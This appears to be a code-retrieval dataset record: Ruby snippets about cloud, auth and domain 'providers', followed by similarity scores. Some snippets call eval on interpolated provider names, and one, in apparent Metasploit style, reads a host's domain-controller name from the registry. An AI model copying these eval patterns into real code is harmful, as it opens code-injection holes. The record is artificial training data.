default_provider\n return nil unless node && node['platform_family']\n Chef::Provider::Dropbox.const_get(node['platform_family'].split('_')\n .map(&:capitalize).join)\n end", "def set_provider\n @provider = Provider.unscoped.where(\"allocator.role_name IN ('ROLE_FOR_PROFIT_PROVIDER', 'ROLE_CONTRACTUAL_PROVIDER', 'ROLE_CONSORTIUM_LEAD' , 'ROLE_ALLOCATOR', 'ROLE_ADMIN', 'ROLE_MEMBER')\").where(deleted_at: nil).where(symbol: params[:id]).first\n fail ActiveRecord::RecordNotFound unless @provider.present?\n end", "def provider_name=(provider)\n unless provider.nil?\n @provider_name = provider.downcase\n end\n end", "def name\n @provider_name\n end", "def findProvider(policy)\n if( @provider === \"OpenStack\" )\n @governance = policy.os_governance\n elsif (@provider === \"AWS\")\n @governance = policy.aws_governance\n end\n @cloud_enabled = @governance[\"enabled_cloud\"]\n end", "def provider\n @provider ||= find_constant( remoter_base, ::PoolParty::Remote )\n end", "def provider\n begin\n @provider ||= eval(\"MusicProviders::#{source}\").new\n rescue\n @provider = MusicProviders::DefaultProvider.new\n end\n end", "def openstack_provider\n # dream host doesn't support windows so bail early if we're on windows\n return \"openstack\" if RUBY_PLATFORM.match?(/mswin|mingw|windows/)\n\n if Etc::Passwd.entries.map(&:name).include?(\"dhc-user\")\n \"dreamhost\"\n else\n \"openstack\"\n end\n end", "def get_cloud_provider\n\t\t\t\tcloud = node[:cloud][:provider].to_s\n\t\t\t\tcloud.strip!\n\t\t\t\treturn cloud\n\t\t\tend", "def hosting_provider?; end", "def hosting_provider?; end", "def find_or_create_provider!(attrs)\n provider = Provider.find_by(name: attrs[:name])\n if provider.blank?\n provider = Provider.create!(\n name: attrs[:name],\n firm_agfs_supplier_number: attrs[:firm_agfs_supplier_number],\n api_key: attrs[:api_key],\n provider_type: attrs[:provider_type],\n vat_registered: attrs[:vat_registered],\n roles: attrs[:roles],\n lgfs_supplier_numbers: attrs[:lgfs_supplier_numbers] || []\n )\n end\n provider\n end", "def implementation_provider\n attributes.fetch(:implementationProvider)\n end", "def autodetect_selected_provider\n if EcwidPizzeria::Application.config.app.ecwid.order_api_enabled\n params[:provider]\n\n url = \"https://app.ecwid.com/api/v1/#{EcwidPizzeria::Application.config.app.ecwid.shop_id}/orders\"\n api_params = {secure_auth_key: EcwidPizzeria::Application.config.app.ecwid.order_api_key, order: params[:ord]}\n\n response = RestClient.get(url, params: api_params)\n order = JSON.parse(response)['orders'].first\n\n val = order['paymentMethod'].to_s.downcase.strip\n # Try to get customer country code from order\n params[:country_code] ||= order.fetch('billingPerson', {}).fetch('countryCode', nil) || order['customerCountryCodeByIP']\n\n params[:provider] = case val\n when *(EcwidPizzeria::Application.config.banks.enabled + ['estcard', 'paypal'])\n val\n when %r(\\A(makecommerce|maksekeskus)(.*)\\z)\n payment_method = $2.gsub(':', '').strip.parameterize.gsub('-', '_')\n \"makecommerce_#{payment_method}\"\n when %r(\\A(#{EcwidPizzeria::Application.config.banks.enabled.join('|')}*?)\\s(pank|bank)\\z)\n $1\n when 'danskebank', 'dnb', 'danske', 'danske bank', 'danske pank'\n 'sampo'\n end\n end\n rescue\n nil\n end", "def domain_lookup(domain_name)\n d = nil\n @top_level.domains.each do |domain|\n d = domain if domain.name == domain_name\n end\n d\n end", "def provider_type\n provider.to_s.gsub(\"oauth2\", \"\").try(:titleize)\n end", "def other_party(company)\n (company == service_provider) ? service_buyer : service_provider\n end", "def _provider( name, options )\n\n\t\t\t@_provider ||= { }\n\t\t\t@_provider[ name ] ||= (\n\n\t\t\t\tObject::const_get( name ).new( options )\n\t\t\t)\n\t\tend", "def providify\n newparam(:provider)\n nil\n end", "def detect\n self.detected ||= self.providers.inject(nil) do |instance, provider_class|\n instance || (p = provider_class.new; p.alive? ? p : nil)\n end\n end", "def get_provider(id, opts = {})\n # get all matching providers\n matching_provider_args = providers.find_all{|args| args.first == id}\n # sort providers on priority, form high to low\n matching_provider_args.sort! do |args_a, args_b|\n # we want to sort from high priority to low, but providers with the same priority level\n # should stay in the same order because among those, the last one added has the highest priority\n # (last added means first in the array, since they are pushed into the beginning of the array)\n (Provider.new(*args_b).priority || self.default_priority) <=> (Provider.new(*args_a).priority || self.default_priority)\n end\n # if no skip option is given, opts[:skip].to_i will result in zero, so it'll grab thefirst from the array\n # if the array is empty, args will always turn out nil\n args = matching_provider_args[opts[:skip].to_i]\n\n return args.nil? ? nil : Provider.new(*args)\n end", "def scm_provider_klass\n @scm_provider_klass ||= eval(danger.scm_provider.to_s)\n end", "def choose_provider\n settings.provider[\"name\"] = hl.choose do |menu|\n menu.prompt = \"Choose your infrastructure: \"\n menu.choice(\"AWS\") { \"aws\" }\n menu.choice(\"OpenStack\") { \"openstack\" }\n menu.choice(\"vSphere\") { \"vsphere\" }\n end\n save_settings!\n end", "def host_or_domain\n return @host_or_domain\n end", "def [](key)\n if key == \"provider\"\n return @provider\n end\n @hash[key]\n end", "def provider_name(provider)\n Account.provider_name(provider)\n end", "def provider\n @provider ||= Bosh::Providers.for_bosh_provider_name(settings.bosh_provider, fog_compute)\n end", "def whitelist_providers\n [:new_school_ldap, :twitter, :nyu_shibboleth, :aleph]\n end", "def get_target_datacenter_from_config(_provider_name)\n raise(\"#{self.class.name} does not implement get_target_datacenter_from_config\")\n end", "def name\n @provider[:name]\n end", "def provider_by_id(provider_id)\n provider_map[provider_id.to_i] if provider_id.to_i > 0\n end", "def exchangers\n # return nil if @config[:host_type] != :email || !self.dns_enabled?\n @_exchangers ||= Exchanger.cached(dns_name, @config)\n end", "def resolve\n if SubdomainResolver.not_reserved?(request_subdomain)\n Company.find_by_subdomain(request_subdomain)\n else\n return unless current_user.present?\n current_user.first_company\n end\n end", "def provider_class\n self.class\n end", "def provider_class\n self.class\n end", "def provider\n system.provider\n end", "def provider_name=(value)\n @provider_name = value\n end", "def cleanup_provider(provider)\n lookups = {}\n Souffle::Provider.constants.each { |k| lookups[k.to_s.downcase] = k.to_s }\n lookups.fetch([provider.downcase], provider)\n end", "def load_provider_model\n @provider_info_model ||= provider_infos.first\n end", "def provider_name\n object.provider_id.titleize\n end", "def provider_directory\n Pathname.new(puppet_lib) + 'provider' + @name\n end", "def set_provider\n @provider = Provider.friendly.find(params[:id])\n end", "def provider\n\tend", "def naive_string_scraper(string)\n if (is_file?(string) == true)\n return file_provider(string)\n else\n providers = provider_list()\n host = URI.parse(string).host\n if !host.nil?\n return providers[host.downcase]\n else\n return \"none\" # takes care of nil cases, fucking hashes are teh shit\n end\n end\n end", "def alternative_names\n auth_providers.map do |ap|\n { provider: ap.provider, name: \"#{ap.uname} (#{ap.provider})\" }\n end\n end", "def [](name)\n @providers[name]\n end", "def provider=(provider)\n @provider = provider\n end", "def find(name)\n result = nil\n connect do |conn|\n begin\n conn.search2(dn(name), 0, \"objectclass=*\") do |result|\n # Convert to puppet-appropriate attributes\n return entry2provider(result)\n end\n rescue => detail\n return nil\n end\n end\n end", "def provides(provider, opts = {:raise_on_fail => true})\n if cursor = provides?(provider)\n raise ProviderExists.new(\"'#{provider}' is already provided by #{cursor}!\") if opts[:raise_on_fail]\n else\n check_cursor!.provides(provider)\n end\n end", "def veewee_provider\n @veewee_provider =\n case @provider\n when :libvirt\n :kvm\n when :virtualbox\n :vbox\n else\n :unknown\n end\n end", "def get_provider_config(name)\n raise \"Must finalize first.\" if !@__finalized\n\n result = @__compiled_provider_configs[name]\n\n # If no compiled configuration was found, then we try to just\n # use the default configuration from the plugin.\n if !result\n config_class = Vagrant.plugin(\"2\").manager.provider_configs[name]\n if config_class\n result = config_class.new\n result.finalize!\n end\n end\n\n return result\n end", "def providers\n @providers ||= {}\n end", "def current_partner\n return nil if request.subdomains.size == 0 or request.host == current_government.base_url or request.subdomains.first == 'dev' or (request.host.include?(NB_CONFIG['multiple_government_base_url']) and request.subdomains.size == 1)\n @current_partner ||= Partner.find_by_short_name(request.subdomains.first)\n end", "def guess_company_domain\n if self.company_domain.blank?\n string = self.company_name.to_s.downcase.gsub(' ', '') + \".fr\"\n self.company_domain = string\n end\n end", "def search_provider\n return @search_provider unless @search_provider.nil?\n return nil unless @search_provider_class.is_a?(Class)\n\n @search_provider = @search_provider_class.new(index_name, self, custom_mapping, scopes)\n end", "def provider_id\n return @provider_id\n end", "def provide(domain, &block)\n @providers[domain] << block\n end", "def has_provider?( url )\n\n\t\t\[email protected] do | options |\n\t\t\t\tif ( url =~ options[ :pattern ])\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfalse\n\t\tend", "def get_domain_name(host)\n domain = nil\n search = nil\n resolv_conf = if host['platform'].include?('windows')\n if host.is_cygwin?\n host.exec(Command.new(\"cat /cygdrive/c/Windows/System32/drivers/etc/hosts\")).stdout\n else\n host.exec(Command.new('type C:\\Windows\\System32\\drivers\\etc\\hosts')).stdout\n end\n else\n host.exec(Command.new(\"cat /etc/resolv.conf\")).stdout\n end\n resolv_conf.each_line do |line|\n if (match = /^\\s*domain\\s+(\\S+)/.match(line))\n domain = match[1]\n elsif (match = /^\\s*search\\s+(\\S+)/.match(line))\n search = match[1]\n end\n end\n return_value ||= domain\n return_value ||= search\n\n return unless return_value\n\n return_value.gsub(/\\.$/, '')\n end", "def provider_name\n @json['profile']['providerName'] rescue nil\n end", "def get_domain\n domain = nil\n begin\n subkey = 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History'\n v_name = 'DCName'\n domain_dc = registry_getvaldata(subkey, v_name)\n rescue\n print_error 'Could not determine if the host is part of a domain.'\n return nil\n end\n if !domain_dc.nil?\n # lets parse the information\n dom_info = domain_dc.split('.').drop(1)\n domain = dom_info.join('.')\n else\n print_status 'Host is not part of a domain.'\n end\n domain\n end" ]
[ "0.80977505", "0.70549464", "0.68169653", "0.6465162", "0.6387879", "0.63629025", "0.62816674", "0.6197763", "0.6148884", "0.6140221", "0.6119688", "0.61143565", "0.60501146", "0.6030279", "0.59808064", "0.59736705", "0.5932827", "0.58955437", "0.58717304", "0.5863909", "0.5843188", "0.5805625", "0.57878983", "0.5746728", "0.57380223", "0.57306856", "0.5680912", "0.56805515", "0.5661904", "0.5660815", "0.5660638", "0.5621423", "0.5601859", "0.5581269", "0.55314016", "0.55303013", "0.55204076", "0.54966724", "0.54869556", "0.5479935", "0.54717314", "0.5450624", "0.54466337", "0.54464805", "0.5439439", "0.5435871", "0.54221123", "0.5401722", "0.5365687", "0.5365687", "0.53607917", "0.5359183", "0.53350997", "0.5315778", "0.5279633", "0.5252571", "0.52503717", "0.52425265", "0.5237213", "0.5212223", "0.52099305", "0.5204172", "0.5191885", "0.51840466", "0.5180732", "0.5173221", "0.5173038", "0.51730365", "0.51653475", "0.5154481", "0.514125", "0.5137841", "0.5112676", "0.5112676", "0.5105048", "0.50942534", "0.5093358", "0.50806427", "0.50773305", "0.5064062", "0.50556517", "0.50457627", "0.5030677", "0.50289816", "0.50274277", "0.50266284", "0.5020708", "0.5011593", "0.49949402", "0.49911296", "0.4986767", "0.49828434", "0.4980129", "0.49767968", "0.4968356", "0.49622178", "0.4958584", "0.4955412", "0.49426353", "0.49394804" ]
0.7716999
1
def check_for_cancel session[:return_to] ||= company_user_path(session[:company_id] ,session[:user_id]) if params[:button] == "Cancel" redirect_to session.delete(:return_to) end end
def resolve_layout case action_name when "edit" "editlayout" when "show_image" "application_png" else "application" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cancel_and_redirect\r\n redirect_back\r\n end", "def check_cancel_submit\n redirect_to matters_path if params[:cancel]\n end", "def check_for_cancel\n if params[:commit] == \"Cancel\"\n redirect_to forms_path\n end\n end", "def cancel\n flash[:notice] = \"Canceling accounts is not enabled.\"\n redirect_to root_path\n end", "def paypal_cancel\r\n user_id = params[:user_id]\r\n @user = User.find(user_id)\r\n session[:user_id] = @user[:id]\r\n session[:user_email] = @user[:email]\r\n \r\n cancel_purchase(params[:id])\r\n flash[:notice] = I18n.t 'event.purchase.pur_can'\r\n redirect_to(:controller => 'home', :action=>'index') \r\n end", "def cancel\n redirect_to checkid_request.cancel_url\n end", "def redirect_back_to\n if !session[:return_to].blank?\n redirect_to session[:return_to]\n session[:return_to] = nil\n end\n end", "def cancel\n redirect_to root_url, flash[:alert] = \"Something went wrong.\"\n end", "def submit_or_cancel_for_users(form, cancel_name = t('application.cancel')) # \"Cancel\"\n if logged_in?\n form.submit + \" \" + t('application.or') + \" \" + link_to(cancel_name, \"javascript:history.go(-1);\", :class => \"cancel\") # \"or\"\n else\n form.submit + \" \" + t('application.or') + \" \" + link_to(cancel_name, login_path, :class => \"cancel\") # \"or\"\n end\n end", "def cancel_link\n return_uri = controller.params[:_return_to]\n return_uri ||= controller.request.env['HTTP_REFERER']\n return_uri ||= controller.request.request_uri.gsub(%r{/[^/]+/?$}, \"\")\n return_uri = '/' if return_uri.empty?\n\n \"<input type='hidden' name='_return_to' value='#{return_uri}'></input><a href='#{return_uri}'>Cancel</a>\"\n end", "def cancel\n redirect_to( default_path ) if params[:commit] == 'cancel'\n end", "def check_for_cancel\n return unless params[:commit] == 'Cancel'\n\n if current_user.is_admin? || params.dig(:institute, :action) == 'new'\n redirect_to workspace_url\n else\n redirect_to manage_users_url\n end\n end", "def check_for_cancel\n redirect_to @article if params[:commit] == 'Cancel'\n end", "def cancel\n @candidate.cancel_registeration(@event)\n redirect_to(root_path , :notice => 'Your Registration has been Cancelled successfully!')\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete :return_to \n end", "def check_for_cancel\n if params[:commit] == t('dri.views.objects.buttons.cancel')\n if params[:id]\n redirect_to controller: 'my_collections', action: 'show', id: params[:id]\n else\n redirect_to controller: 'workspace', action: 'index'\n end\n end\n end", "def check_for_cancel\n if params[:commit] == t('dri.views.objects.buttons.cancel')\n if params[:id]\n redirect_to controller: 'my_collections', action: 'show', id: params[:id]\n else\n redirect_to controller: 'workspace', action: 'index'\n end\n end\n end", "def redirect_back_or(default)\n #send back to what was stored in\n #\"session[:return_to] or default location\n redirect_to(session[:return_to] || default)\n #deletes saved return location\n session.delete(:return_to)\n end", "def cancel\n flash[:notice] = \"We're sorry you didn't buy :(. Please tell Sven at <a href='mailto:[email protected]'>sven@paperboat</a> why you chose to cancel.\"\n redirect_to root_path\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or_welcome\n \n if session[:return_to]\n redirect_to(session[:return_to])\n session[:return_to] = nil\n else\n render :template => 'uniform/users/welcome'\n end\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n clear_return_to\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n clear_return_to\n end", "def submit_or_cancel(form, name='Cancel')\n form.submit + \" or \" +\n link_to(name, root_path, :class => \"for_black_font_link\")\n #link_to(name, 'javascript:history.go(-1);', :class => 'cancel')\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default) \n session.delete(:return_to)\n end", "def redirect_back_to_intent(user)\n redirect_to(session[:before_login] || user)\n session.delete(:before_login)\n end", "def submit_or_cancel(form, name='Cancel')\n form.submit + ' or ' + link_to(name, 'javascript:history.go(-1);', :class => 'cancel')\n end", "def cancel\n expire_session_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_session_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_session_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_session_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_session_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_session_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel_account\n @account.active = 0\n @account.endtime = Time.now\n @account.save\n \n redirect_to :controller => 'subs' and return false\n end", "def redirect_back_or_to(url)\n if session[:return_url]\n redirect_to session[:return_url]\n session[:return_url] = nil\n else\n redirect_to url\n end\n end", "def redirect_back_or(default) #Hartls funky method name\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or_default(default)\nredirect_to(session[:return_to] || default)\nsession[:return_to] = nil\nend", "def user_cancel\n @order.cancel_by_user\n render 'user'\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(default)\n redirect_to(session[:return_to] || default)\n session.delete(:return_to)\n end", "def redirect_back_or(location)\n redirect_to(session[:return_to] || location)\n session.delete(:return_to)\n end", "def cancel\r\n expire_data_after_sign_in!\r\n redirect_to new_registration_path(resource_name)\r\n end", "def redirect_back_or( default )\n redirect_to( session[ :return_to ] || default )\n session.delete( :return_to )\n end", "def redirect_back_or(default = root_path)\n redirect_to(session[:return_to] || default)\n clear_return_to\n end", "def permiso_cancelar\n if user_signed_in?\n unless current_user.employee.nil?\n @permiso_cancelar = false\n @security_role_type = Security::RoleType.find_by(name: \"Cancelar\").name\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu| \n if security_role_menu.security_menu.controller == params[:controller] \n security_role_menu.security_role_type_menus.each do |role_type|\n if @security_role_type == role_type.security_role_type.name\n @permiso_cancelar = true\n break\n end\n end\n end\n end\n if current_user.username == \"aadmin\"\n @permiso_cancelar = true\n end\n if params[:action] == \"cancelar\" && @permiso_cancelar == false\n redirect_to root_path\n end\n return @permiso_cancelar\n end\n end\n end", "def cancel_by_user\n @booking = Booking.find_by_id(params[:id])\n\n if @booking.user_id == current_user.id\n @booking.update_approval_status(\"cancel_by_user\")\n end\n\n redirect_to(:back)\n end", "def cancel\n self.dismissModalViewControllerAnimated true\n end", "def cancel\n set_session\n\n if @session.cancel\n respond_to do |format|\n format.html { redirect_back allow_other_host: false, fallback_location: batch_connect_sessions_url, notice: t(\"dashboard.batch_connect_sessions_status_blurb_cancel_success\") }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_back allow_other_host: false, fallback_location: batch_connect_sessions_url, alert: t(\"dashboard.batch_connect_sessions_status_blurb_cancel_failure\") }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end", "def canceladd\n @session['groupcluster']=nil\n @session['groupshop']=nil\n @session['groupkey']=nil\n render :update do |page|\n page.redirect_to url_for(:controller=>'machines', :action=>'list')\n end\n end", "def appctrl_confirm_user\n redirect_to( signin_path() ) unless @current_user\n end", "def redirect_back_or(default)\n\tredirect_to(session[:return_to] || default)\n\tsession.delete(:return_to)\n end", "def redirect_back_or_default(default)\n# Rails.logger.info '==== Redirect: ' + session[:return_to]\n redirect_to(session[:return_to] || default)\n session[:return_to] = nil\n end", "def redirect_back_or_default_with_account(default)\n if logged_in? && session[:return_to] =~ /^\\/dt\\/accounts\\/false/\n session[:return_to].sub!(/^\\/dt\\/accounts\\/false/, \"/dt/accounts/#{current_user.id}\")\n end\n redirect_back_or_default_without_account(default)\n end", "def redirect_back_or_default(default)\n redirect_to session[:return_to] || default\n session[:return_to] = nil\n end", "def new_site_cancel\n inactive_submit.click\n end", "def submit_cancel\n get_subscription\n is_cancelled = @my_subscription.cancel_or_pause_subscription(\"canceled\") #unless @my_subscription.is_under_process?\n flash[:sub_cancelled] = \"Subscription has been canceled Successfully.\" if is_cancelled\n redirect_to main_app.profile_users_path and return\n end", "def logout\r\n clear_login_data\r\n redirect_to params[:return_to] || '/'\r\nend", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\nend", "def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def cancel\n expire_data_after_sign_in!\n redirect_to new_registration_path(resource_name)\n end", "def submit_or_cancel(cancel_url = session[:return_to] ? session[:return_to] : url_for(:action => 'index'), label = 'Save Changes')\n content_tag(:div, submit_tag(label) + ' or ' +\n link_to('Cancel', cancel_url), :id => 'submit_or_cancel', :class => 'submit')\n end", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\n session[:return_to] = nil\n end", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\n session[:return_to] = nil\n end", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\n session[:return_to] = nil\n end", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\n session[:return_to] = nil\n end", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\n session[:return_to] = nil\n end", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\n session[:return_to] = nil\n end", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\n session[:return_to] = nil\n end", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\n session[:return_to] = nil\n end", "def check_user_session()\n unless session\n redirect_to session[:return_to]\n end\n end", "def confirm_user\n if session[:user_id]\n return true\n else\n flash[:notice] = \"please login\"\n redirect_to(:controller => 'manage', :action => 'login')\n return false\n end\n end", "def confirm_own_account_page\n #\t unless ((@user_id == session[:user_id])||(session[:admin]))\n # \t\tflash[:notice] = \"That URL is not for your account!\"\n #\t\t redirect_to(user_path( :id => session[:user_id]))\n #\t end\n end", "def redirect_back_or_default(default)\n loc = session[:return_to] || default\n session[:return_to] = nil\n redirect_to loc\n end", "def redirect_to_stored_or_default(default)\n if session['return-to'].nil?\n redirect_to default\n else\n redirect_to_url session['return-to']\n session['return-to'] = nil\n end\nend", "def canceladd\n render :update do |page|\n page.redirect_to url_for(:controller=>'groups', :action=>'search')\n end\n end", "def redirect_back_or(default)\n\t\tredirect_to(session[:return_to] || default)\n\t\tclear_return_to\n\tend", "def redirect_back_or(default)\n\t\tredirect_to(session[:return_to] || default)\n\t\tclear_return_to\n\tend", "def go_to_agencies\n if params[:back]\n session[:back] = true\n else\n session[:back] = false\n redirect_to agencies_url(:clear=>true)\n end\n end", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\n session[:return_to] = nil\n end", "def ocancel\n @aorder=Aorder.find_by_id(params[:id])\n @aorder.iscanceled=true\n @aorder.ttmid=session[:user].id\n @aorder.save!\n redirect_to aorders_path\n end", "def redirect_back_or_default(default)\n redirect_to(session[:return_to] || default)\n\n session[:return_to] = nil\n end", "def is_cancel?(action_name)\n action_name == 'submit_cancel'\n end", "def logout\r\n clear_login_data\r\n redirect_to(params[:return_to] || '/', allow_other_host: true)\r\nend" ]
[ "0.77676696", "0.759709", "0.7367247", "0.7194713", "0.71496356", "0.71346927", "0.7096799", "0.70705694", "0.7067757", "0.70460594", "0.70327145", "0.69563353", "0.6878139", "0.67065275", "0.66916233", "0.66822875", "0.66822875", "0.66309255", "0.66146874", "0.6612586", "0.66055775", "0.66045517", "0.66045517", "0.6591952", "0.6567721", "0.6562965", "0.6559032", "0.65577215", "0.65577215", "0.65577215", "0.65577215", "0.65577215", "0.65577215", "0.65568554", "0.6548577", "0.6508168", "0.65023196", "0.6445725", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.64304084", "0.641598", "0.64070606", "0.64004105", "0.63875574", "0.63858944", "0.63704425", "0.6366378", "0.6365355", "0.63616574", "0.6341135", "0.6296643", "0.62857807", "0.62742275", "0.6264888", "0.62616277", "0.6249262", "0.6247159", "0.6245598", "0.62437457", "0.62437457", "0.62437457", "0.62437457", "0.62437457", "0.62437457", "0.62437457", "0.6228233", "0.6202389", "0.6202389", "0.6202389", "0.6202389", "0.6202389", "0.6202389", "0.6202389", "0.6202389", "0.6196772", "0.61948025", "0.61884004", "0.6187708", "0.6184395", "0.61786866", "0.61778665", "0.61778665", "0.61747307", "0.61611044", "0.6160424", "0.61558837", "0.6154288", "0.61528945" ]
0.0
-1
use quizzes method to sort out the data
def quizzes if @quiz_divs @quiz_divs.map do |quiz_div| arr = quiz_div.children.inner_text.split("\n").delete_if(&:blank?) { title: arr[1], options: arr[2..-3], explanation: arr[-2] } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def myquizze_results\n @current_user = get_logged_user\n if @quizze_instance = @current_user.get_latest_quizze_instance\n @quizze = @quizze_instance.get_quizze\n @sorted_affinities = @quizze_instance.sorted_affinities\n @explanations, @hash_dimension2answers, @hash_question_idurl2min_max_weight = @quizze_instance.get_explanations(@current_knowledge, @sorted_affinities)\n else\n redirect_to(\"/quizzes\") # select a quizz first !\n end\n end", "def sorting()\n #makes sure that /a/ quarter is selected\n @quater = params[:quater]\n @quater == nil ? @quater = 'Q1' : @quater = @quater\n\n #REVIEW this is for clearing the teams not in the quater out of teams. Its done 7 times becuase for some reason it doesnt catch all the teams unless if its repeated\n 7.times {@teams.each {|team| team_in_quater(team, @quater) ? a=0 : @teams.delete(team)}}\n\n if params[:search]\n #REVIEW it does the same thing down here and for every time it iterates, half of the deletes are successful\n 7.times {search(@teams, params[:search])}\n end\n\n #finding the param that organizes team index by overall investment\n if params[:Investment] == 'ascending'\n team_investments = find_team_values()\n #sorts the teams hash from lowest to highest\n @teams.sort! {|x,y| team_investments[x.id] <=> team_investments[y.id] }\n #this does the same thing but ends up sorting from highest to lowest\n elsif params[:Investment] == 'descending'\n team_investments = find_team_values()\n @teams.sort! {|x,y| team_investments[y.id] <=> team_investments[x.id] }\n end\n\n #this finds the param for team name and sorts it (team 1 -> team 2 -> team 10 -> team 12 -> etc)\n if params[:Name] == 'ascending'\n @teams.sort! {|x,y| sorting_function(x.name, y.name) }\n elsif params[:Name] == 'descending'\n @teams.sort! {|x,y| sorting_function(y.name, x.name) }\n end\n\n if params[:Investment_f]\n team_investments = find_team_values()\n if params[:Investment_f].to_i > 100\n 7.times {@teams.each {|team,value| (100 < team_investments[team.id]) ? a = 0 : @teams.delete(team)}}\n else\n 7.times {@teams.each {|team,value| ((params[:Investment_f].to_i..params[:Investment_f].to_i+9).include? team_investments[team.id]) ? a = 0 : @teams.delete(team) }}\n end\n end\n\n #this paginates the teams into 15 per page\n @teams = @teams.paginate(:page => params[:page], :per_page => 15)\n end", "def run_quiz\n self.questions_explanation\n self.display_questions\n self.skipped_questions_explanation\n self.skipped_questions\n self.answers_explanation\n self.display_results\n self.show_score\n end", "def sort_questions\n q_arr = @data.map do |question|\n question.split('.', 2)\n end\n q_arr.shift\n q_num_to_i = q_arr.map do |question|\n question = [question[0].to_i, question[1].strip]\n end\n @data = q_num_to_i.sort\n end", "def refd_qings\n qing_group.display_conditions.map(&:ref_qing).uniq.sort_by(&:full_rank)\n end", "def index\n arrResults = Array.new\n\n @q = Quiz.ransack(params[:q])\n @matches = @q.result\n\n @arrResults = @matches.to_a\n\n \t@quizzes = Quiz.all\n allusers = Array.new\n topusers = Array.new\n @allusers = User.order('score DESC')\n @topusers = @allusers.limit(5)\n end", "def index\n @faqs = @group.faqs.sorted\n end", "def index\n @quizzes = Quiz.all\n if current_user.has_role? :admin\n @quizzes = QuizItem.all\n elsif session[:cardbox_id]\n @cardbox = Cardbox.find(session[:cardbox_id])\n @quizzes = Quiz.where(cardbox_id: @cardbox.id, user_id: current_user.id).order(id: :desc)\n else\n redirect_to cardboxes_path, notice: \"没有相应的测试。请指定一个卡片盒。\"\n end\n end", "def order; end", "def order; end", "def sort_entries; end", "def index\n if current_user.admin?\n @q = Quiz.ransack(params[:q])\n @quizzes = @q.result.includes(:questions, :section).paginate(page: params[:page])\n else\n redirect_to root_path\n flash[:notice] = \"Whoops! You're not supposed to be there!\"\n end\n end", "def execute\n questions = QuestionMapper.find_all\n answers = AnswerMapper.find_all\n answer_hash = Hash.new(0)\n\n answers.each do |ans| \n answer_hash[ans.id] = ans\n end \n \n questions.each do |question| \n answer_arr = [] \n answer_arr << question\n answer_arr << (answers.sample(3) - [answer_hash[question.id]] + [answer_hash[question.id]])\n print_segment(answer_arr)\n end \n\n :ok\n end", "def sorted_results\n results.sort\n end", "def sort_data\n store.sort_data!\n end", "def step2\n # TODO Create current_order helper to access the current_order from the admin config\n @questions = Question.where(:order => current_order).order(\"priority asc\")\n\n\tend", "def stats_from_engine\n \n # get the stats for the quizz\n row = 